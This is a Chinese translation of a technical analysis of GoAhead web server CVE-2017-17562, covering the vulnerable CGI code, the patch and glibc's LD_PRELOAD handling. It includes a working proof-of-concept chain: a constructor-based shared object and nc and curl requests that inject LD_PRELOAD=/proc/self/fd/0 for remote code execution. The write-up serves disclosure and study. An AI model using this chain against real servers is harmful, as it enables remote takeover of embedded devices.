*本文中涉及到的相關漏洞已報送廠商并得到修復,本文僅限技術研究與討論,嚴禁用于非法用途,否則產生的一切后果自行承擔。
本文是關于GoAhead web server遠程代碼執行漏洞(CVE-2017-17562)的分析,該漏洞源于在初始化CGI腳本環境時使用了不受信的HTTP請求參數,會對所有啟用了動態鏈接可執行文件(CGI腳本)的用戶造成影響。在此過程中,當CGI腳本調用glibc動態鏈接器時,特殊變量LD_PRELOAD可被注入濫用,從而導致遠程代碼執行。該漏洞是個典型的環境變量案例,能推廣應用到其它不安全的軟件架構漏洞發現中。
GoAhead在其官網聲稱為“世界上最流行的微型嵌入式Web服務器”,被IBM、HP、Oracle、波音、D-link和摩托羅拉等公司廣泛使用。通過Shodan搜索,可探測到全球共有735,000多個GoAhead當前服務器在線。
漏洞分析
在我們進行該項漏洞研究期間,我們發現,該漏洞影響范圍涉及GoAhead的早期版本2.5.0和當前最新版本(3.x),幾乎是全版本覆蓋。可以通過以下方式對存在漏洞的GoAhead程序進行安裝編譯操作:# Cloning and running the vulnerable GoAhead daemon
daniel@makemyday:~$ git clone?https://github.com/embedthis/goahead.git
Cloning into 'goahead'...
remote: Counting objects: 20583, done.
remote: Total 20583 (delta 0), reused 0 (delta 0), pack-reused 20583
Receiving objects: 100% (20583/20583), 19.71 MiB | 4.76 MiB/s, done.
Resolving deltas: 100% (14843/14843), done.
daniel@makemyday:~$ cd goahead/
daniel@makemyday:~/goahead$ ls
configure????? CONTRIBUTING.md? doc??????? installs??? main.me?? Makefile????? paks????? README.md? test
configure.bat? dist???????????? farm.json? LICENSE.md? make.bat? package.json? projects? src
daniel@makemyday:~/goahead$ git checkout tags/v3.6.4 -q
daniel@makemyday:~/goahead$ make > /dev/null
daniel@makemyday:~/goahead$ cd test
daniel@makemyday:~/goahead/test$ gcc ./cgitest.c -o cgi-bin/cgitest
daniel@makemyday:~/goahead/test$ sudo ../build/linux-x64-default/bin/goahead
代碼分析
漏洞存在于cgiHandler函數中,該函數能為新進程的envp參數分配一個指針數組,然后使用從HTTP請求參數中獲取的鍵值對來進行初始化。最后,launchCgi函數會被fork和execve所執行的CGI腳本調用。
我們可看到在cgiHandler函數中,程序只對REMOTE_HOST和HTTP_AUTHORIZATION進行了過濾,其他變量被誤認為可信,并未被采取進一步過濾措施,這就使得允許攻擊者可以在新的CGI進程中控制環境變量,非常危險。#? goahead/src/cgi.c:cgihandler
...
PUBLIC bool cgiHandler(Webs *wp)
{
Cgi???????? *cgip;
WebsKey???? *s;
char??????? cgiPrefix[ME_GOAHEAD_LIMIT_FILENAME], *stdIn, *stdOut, cwd[ME_GOAHEAD_LIMIT_FILENAME];
char??????? *cp, *cgiName, *cgiPath, **argp, **envp, **ep, *tok, *query, *dir, *extraPath, *exe;
CgiPid????? pHandle;
int???????? n, envpsize, argpsize, cid;
...
/*
Add all CGI variables to the environment strings to be passed to the spawned CGI process. This includes a few
we don't already have in the symbol table, plus all those that are in the vars symbol table. envp will point
to a walloc'd array of pointers. Each pointer will point to a walloc'd string containing the keyword value pair
in the form keyword=value. Since we don't know ahead of time how many environment strings there will be the for
loop includes logic to grow the array size via wrealloc.
*/
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
if (s->content.valid && s->content.type == string &&
strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
envp = wrealloc(envp, envpsize * sizeof(char *));
}
}
}
*(envp+n) = NULL;
/*
Create temporary file name(s) for the child's stdin and stdout. For POST data the stdin temp file (and name)
should already exist.
*/
if (wp->cgiStdin == NULL) {
wp->cgiStdin = websGetCgiCommName();
}
stdIn = wp->cgiStdin;
stdOut = websGetCgiCommName();
if (wp->cgifd >= 0) {
close(wp->cgifd);
wp->cgifd = -1;
}
/*
Now launch the process.? If not successful, do the cleanup of resources.? If successful, the cleanup will be
done after the process completes.
*/
if ((pHandle = launchCgi(cgiPath, argp, envp, stdIn, stdOut)) == (CgiPid) -1) {
...
補丁分析
該漏洞可以通過跳過特殊參數名稱,而對其它參數添加一個靜態字符串前綴來修復,即使對于形式為a = b%00LD_PRELOAD%3D的參數,似乎也能有針對性解決。補丁形式如下:# git diff f9ea55a 6f786c1 src/cgi.c
diff --git a/src/cgi.c b/src/cgi.c
index 899ec97b..18d9b45b 100644
--- a/src/cgi.c
+++ b/src/cgi.c
@@ -160,10 +160,17 @@ PUBLIC bool cgiHandler(Webs *wp)
envpsize = 64;
envp = walloc(envpsize * sizeof(char*));
for (n = 0, s = hashFirst(wp->vars); s != NULL; s = hashNext(wp->vars, s)) {
-??????? if (s->content.valid && s->content.type == string &&
-??????????? strcmp(s->name.value.string, "REMOTE_HOST") != 0 &&
-??????????? strcmp(s->name.value.string, "HTTP_AUTHORIZATION") != 0) {
-??????????? envp[n++] = sfmt("%s=%s", s->name.value.string, s->content.value.string);
+??????? if (s->content.valid && s->content.type == string) {
+??????????? if (smatch(s->name.value.string, "REMOTE_HOST") ||
+??????????????? smatch(s->name.value.string, "HTTP_AUTHORIZATION") ||
+??????????????? smatch(s->name.value.string, "IFS") ||
+??????????????? smatch(s->name.value.string, "CDPATH") ||
+??????????????? smatch(s->name.value.string, "PATH") ||
+??????????????? sstarts(s->name.value.string, "LD_")) {
+??????????????? continue;
+??????????? }
+??????????? envp[n++] = sfmt("%s%s=%s", ME_GOAHEAD_CGI_PREFIX,
+??????????????? s->name.value.string, s->content.value.string);
trace(5, "Env[%d] %s", n, envp[n-1]);
if (n >= envpsize) {
envpsize *= 2;
漏洞利用分析
雖然將任意環境變量注入新進程的漏洞利用功能看起來相對良性,但有時候一些“特殊”環境變量會導致動態鏈接程序的其它控制流產生。
ELF動態鏈接器
GoAhead的二進制ELF文件頭信息顯示,它是一個64位動態鏈接的可執行文件,解釋程序在INTERP段被指定,并且指向動態鏈接器/lib64/ld-linux-x86-64.so.2。# Reading the ELF header
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -hl ./goahead
ELF Header:
Magic:?? 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
Class:???????????????????????????? ELF64
Data:????????????????????????????? 2's complement, little endian
Version:?????????????????????????? 1 (current)
OS/ABI:??????????????????????????? UNIX - System V
ABI Version:?????????????????????? 0
Type:????????????????????????????? DYN (Shared object file)
Machine:?????????????????????????? Advanced Micro Devices X86-64
Version:?????????????????????????? 0x1
Entry point address:?????????????? 0xf80
Start of program headers:????????? 64 (bytes into file)
Start of section headers:????????? 21904 (bytes into file)
Flags:???????????????????????????? 0x0
Size of this header:?????????????? 64 (bytes)
Size of program headers:?????????? 56 (bytes)
Number of program headers:???????? 9
Size of section headers:?????????? 64 (bytes)
Number of section headers:???????? 34
Section header string table index: 33
Program Headers:
Type?????????? Offset???????????? VirtAddr?????????? PhysAddr
FileSiz??????????? MemSiz????????????? Flags? Align
PHDR?????????? 0x0000000000000040 0x0000000000000040 0x0000000000000040
0x00000000000001f8 0x00000000000001f8? R E??? 0x8
INTERP???????? 0x0000000000000238 0x0000000000000238 0x0000000000000238
0x000000000000001c 0x000000000000001c? R????? 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
...
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
在動態鏈接程序執行過程中,動態鏈接器是首先運行的代碼,它負責鏈接加載共享對象并解析各種符號。為了獲得goahead進程加載的所有共享對象列表,我們可以把特殊的環境變量LD_TRACE_LOADED_OBJECTS設置為1,隨后,它會顯示加載的庫信息并退出。如下所示:# ld.so LD_TRACE_LOADED_OBJECTS
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ LD_TRACE_LOADED_OBJECTS=1 ./goahead
linux-vdso.so.1 =>? (0x00007fff31bb4000)
libgo.so => /home/daniel/goahead/build/linux-x64-default/bin/libgo.so (0x00007f571f548000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f571f168000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007f571ef49000)
/lib64/ld-linux-x86-64.so.2 (0x00007f571f806000)
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
在不運行動態鏈接器的情況下,我們也可以通過靜態方式找到該信息,方法是grep方式遞歸查找每個ELF共享對象中定義的DT_NEEDED條目:
# statically finding shared object dependancies
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d ./goahead | grep NEEDED
0x0000000000000001 (NEEDED)???????????? Shared library: [libgo.so]
0x0000000000000001 (NEEDED)???????????? Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /home/daniel/goahead/build/linux-x64-default/bin/libgo.so | grep NEEDED
0x0000000000000001 (NEEDED)???????????? Shared library: [libpthread.so.0]
0x0000000000000001 (NEEDED)???????????? Shared library: [libc.so.6]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$ readelf -d /lib/x86_64-linux-gnu/libc.so.6 | grep NEEDED
0x0000000000000001 (NEEDED)???????????? Shared library: [ld-linux-x86-64.so.2]
daniel@makemyday:~/goahead/build/linux-x64-default/bin$
注意:可能有人注意到這里缺少了linux-vdso.so.1,這沒問題,vDSO是由內核映射進用戶進程的特殊共享庫,詳細信息可參考man 7 vdso。
特殊環境變量
所以這些看似正常,但怎么又和環境變量注入相關呢? 那么...我們知道在新進程中,動態鏈接器是首先被執行的代碼 - 如果我們檢查man 8 ld.so后可以發現,一些特殊環境變量的默認操作行為是可以被修改的。我比較喜歡看源碼,我們來一挖究竟。其中dl_main函數就是動態鏈接器的主要入口點,如下# glibc/elf/rtld.c:dl_main
static void
dl_main (const ElfW(Phdr) *phdr,
ElfW(Word) phnum,
ElfW(Addr) *user_entry,
ElfW(auxv_t) *auxv)
{
const ElfW(Phdr) *ph;
enum mode mode;
struct link_map *main_map;
size_t file_size;
char *file;
bool has_interp = false;
unsigned int i;
...
/* Process the environment variable which control the behaviour.? */
process_envvars (&mode);
該函數首先執行的任務是調用process_envvars方法:# glibc/elf/rtld.c:process_envvars
static void
process_envvars (enum mode *modep)
{
char **runp = _environ;
char *envline;
enum mode mode = normal;
char *debug_output = NULL;
/* This is the default place for profiling data file.? */
GLRO(dl_profile_output)
= &"/var/tmp\0/var/profile"[__libc_enable_secure ? 9 : 0];
while ((envline = _dl_next_ld_env_entry (&runp)) != NULL)
{
size_t len = 0;
while (envline[len] != '\0' && envline[len] != '=')
++len;
if (envline[len] != '=')
/* This is a "LD_" variable at the end of the string without
a '=' character.? Ignore it since otherwise we will access
invalid memory below.? */
continue;
switch (len)
{
case 4:
/* Warning level, verbose or not.? */
if (memcmp (envline, "WARN", 4) == 0)
GLRO(dl_verbose) = envline[5] != '\0';
break;
case 5:
/* Debugging of the dynamic linker?? */
if (memcmp (envline, "DEBUG", 5) == 0)
{
process_dl_debug (&envline[6]);
break;
}
if (memcmp (envline, "AUDIT", 5) == 0)
audit_list_string = &envline[6];
break;
case 7:
/* Print information about versions.? */
if (memcmp (envline, "VERBOSE", 7) == 0)
{
version_info = envline[8] != '\0';
break;
}
/* List of objects to be preloaded.? */
if (memcmp (envline, "PRELOAD", 7) == 0)
{
preloadlist = &envline[8];
break;
}
可以看到,動態鏈接器會去解析envp數組,如果找到特殊變量名稱,則會執行不同的代碼路徑。非常有意思的是,case 7代碼對初始化preloadlist的LD_PRELOAD進程處理機制。
深入分析dl_main可知,如果preloadlist不為NULL,則handle_ld_preload就會被調用,如下:# glibc/elf/rtld.c:dl_main
...
/* We have two ways to specify objects to preload: via environment
variable and via the file /etc/ld.so.preload.? The latter can also
be used when security is enabled.? */
assert (*first_preload == NULL);
struct link_map **preloads = NULL;
unsigned int npreloads = 0;
if (__glibc_unlikely (preloadlist != NULL))
{
HP_TIMING_NOW (start);
npreloads += handle_ld_preload (preloadlist, main_map);
HP_TIMING_NOW (stop);
HP_TIMING_DIFF (diff, start, stop);
HP_TIMING_ACCUM_NT (load_time, diff);
}
...
handle_ld_preload方法會解析preloadlist,并把其值當成要加載的一個共享對象列表:# glibc/elf/rtld.c:handle_ld_preload
/* The list preloaded objects.? */
static const char *preloadlist attribute_relro;
/* Nonzero if information about versions has to be printed.? */
static int version_info attribute_relro;
/* The LD_PRELOAD environment variable gives list of libraries
separated by white space or colons that are loaded before the
executable's dependencies and prepended to the global scope list.
(If the binary is running setuid all elements containing a '/' are
ignored since it is insecure.)? Return the number of preloads
performed.? */
unsigned int
handle_ld_preload (const char *preloadlist, struct link_map *main_map)
{
unsigned int npreloads = 0;
const char *p = preloadlist;
char fname[SECURE_PATH_LIMIT];
while (*p != '\0')
{
/* Split preload list at space/colon.? */
size_t len = strcspn (p, " :");
if (len > 0 && len < sizeof (fname))
{
memcpy (fname, p, len);
fname[len] = '\0';
}
else
fname[0] = '\0';
/* Skip over the substring and the following delimiter.? */
p += len;
if (*p != '\0')
++p;
if (dso_name_valid_for_suid (fname))
npreloads += do_preload (fname, main_map, "LD_PRELOAD");
}
return npreloads;
}
綜合分析一下可知:我們能對goahead環境變量LD_PRELOAD進行注入,我們可以利用glibc處理特殊變量(如LD_PRELOAD等)的方式,來加載其它任意共享對象。
ELF格式的SO文件
所以,這就非常厲害了,我們能強制加載任意共享對象,但如何能利用它實現代碼執行呢?檢查.init和.fini段代碼后可以發現,如果我們用構造函數屬性來包裝修飾一個方法函數,那我們就能強制該方法函數在Main方法之前被調用執行。如下PoC:# PoC/payload.c
#include
static void before_main(void) __attribute__((constructor));
static void before_main(void)
{
write(1, "Hello: World!\n", 14);
}
將payload.c編譯為共享對象:# Compiling payload.c as shared object.
daniel@makemyday:~/goahead/PoC$ gcc -shared -fPIC ./payload.c -o payload.so
daniel@makemyday:~/goahead/PoC$ LD_PRELOAD=./payload.so cat /dev/null
Hello: World!
daniel@makemyday:~/goahead/PoC$
好了,如果我們在測試系統上執行該PoC,會產生什么效果呢?如下執行一個簡單的PoC:# Trying a simple PoC
daniel@makemyday:~/goahead/PoC$ ls -la ./payload.so
-rwxrwxr-x 1 daniel daniel 7896 Dec 13 17:38 ./payload.so
daniel@makemyday:~/goahead/PoC$ echo -en "GET /cgi-bin/cgitest?LD_PRELOAD=$(pwd)/payload.so HTTP/1.0\r\n\r\n" | nc localhost 80 | head -10
HTTP/1.0 200 OK
Date: Wed Dec 13 02:38:56 2017
Transfer-Encoding: chunked
Connection: close
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello: World!
content-type:? text/html
daniel@makemyday:~/goahead/PoC$
運行之后可以看到,我們的共享代碼由cgitest進程通過LD_PRELOAD執行了。
LINUX下的 /PROC/SELF/FD/0目錄利用
還有一個關鍵問題就是,即使我們可以從本地服務器加載共享對象,且能達到代碼執行目的,但我們如何將構造的惡意共享對象注入到遠程目標服務器中呢?如果不能實現這點,那么合法的共享對象對我們也沒什么用處,漏洞利用危害也會相對較低。
幸運的是,launchCgi函數實際上使用dup2()將stdin文件描述符指向包含POST請求內容的臨時文件,這也就是說,服務器上會有一個包含用戶提供的數據文件,并且可以通過LD_PRELOAD=/tmp/cgi-XXXXXX的方式進行引用。# goahead/src/cgi.c:launchCgi
/*
Launch the CGI process and return a handle to it.
*/
static CgiPid launchCgi(char *cgiPath, char **argp, char **envp, char *stdIn, char *stdOut)
{
int???? fdin, fdout, pid;
trace(5, "cgi: run %s", cgiPath);
if ((fdin = open(stdIn, O_RDWR | O_CREAT | O_BINARY, 0666)) < 0) {
error("Cannot open CGI stdin: ", cgiPath);
return -1;
}
if ((fdout = open(stdOut, O_RDWR | O_CREAT | O_TRUNC | O_BINARY, 0666)) < 0) {
error("Cannot open CGI stdout: ", cgiPath);
return -1;
}
pid = vfork();
if (pid == 0) {
/*
Child
*/
if (dup2(fdin, 0) < 0) {
printf("content-type: text/html\n\nDup of stdin failed\n");
_exit(1);
} else if (dup2(fdout, 1) < 0) {
printf("content-type: text/html\n\nDup of stdout failed\n");
_exit(1);
} else if (execve(cgiPath, argp, envp) == -1) {
printf("content-type: text/html\n\nExecution of cgi process failed\n");
}
...
}
不過,這種方式稍顯模糊,需要猜測包含POST內容的臨時文件,但好在Linux procfs文件系統有一個很好的符號鏈接,我們可以用它來引用stdin描述符,從而指向我們的臨時文件,就比如將 LD_PRELOAD指向/proc/self/fd/0,或使用/dev/stdin來訪問臨時文件。# linux/fs/proc/self.c
static const char *proc_self_get_link(struct dentry *dentry,
struct inode *inode,
struct delayed_call *done)
{
struct pid_namespace *ns = inode->i_sb->s_fs_info;
pid_t tgid = task_tgid_nr_ns(current, ns);
char *name;
if (!tgid)
return ERR_PTR(-ENOENT);
/* 11 for max length of signed int in decimal + NULL term */
name = kmalloc(12, dentry ? GFP_KERNEL : GFP_ATOMIC);
if (unlikely(!name))
return dentry ? ERR_PTR(-ENOMEM) : ERR_PTR(-ECHILD);
sprintf(name, "%d", tgid);
set_delayed_call(done, kfree_link, name);
return name;
}
static const struct inode_operations proc_self_inode_operations = {
.get_link?= proc_self_get_link,
};
綜合分析可知,我們可在POST請求中內置一個包含構造函數的惡意共享對象,當程序加載后,該構造函數會被調用執行。當然,也可以在HTTP參數中內置?LD_PRELOAD=/proc/self/fd/0命令,通過該命令指向包含測試Payload的臨時文件,也能實現目的。如下在POST請求中利用命令行實現漏洞利用:# exploiting via the command line
daniel@makemyday:~/goahead/PoC$ curl -X POST --data-binary @payload.so?http://makemyday/cgi-bin/cgitest?LD_PRELOAD=/proc/self/fd/0?-i | head
% Total??? % Received % Xferd? Average Speed?? Time??? Time???? Time? Current
Dload? Upload?? Total?? Spent??? Left? Speed
100? 9931??? 0? 2035? 100? 7896?? 2035?? 7896? 0:00:01? 0:00:01 --:--:--? 9774
HTTP/1.1 200 OK
Date: Sun Dec 17 13:08:20 2017
Transfer-Encoding: chunked
Connection: keep-alive
X-Frame-Options: SAMEORIGIN
Pragma: no-cache
Cache-Control: no-cache
hello:? World!
Content-type: text/html
daniel@makemyday:~/goahead/PoC$
總結
該漏洞是一個對環境變量LD_PRELOAD的特殊利用案例,幾乎影響所有GoAhead版本軟件。這種漏洞可能還存在于其它應用服務中,非常有意思,它們只是對漏洞字符串的簡單利用,還不需要涉及代碼審計層面。
盡管在大多Web應用服務中,CGI代碼處理機制相對穩定,但在一些模塊中可能還存在著明顯的代碼錯誤,這些錯誤會導致很多異常漏洞,對此,我建議可先用grep命令來查找這個websDefineHandler入口地址。
如果你對鏈接和加載機制感興趣,可參考這兩篇文章(一,?二),感謝閱讀。
*參考來源:elttam,freebuf小編clouds編譯,轉載請注明來自FreeBuf.COM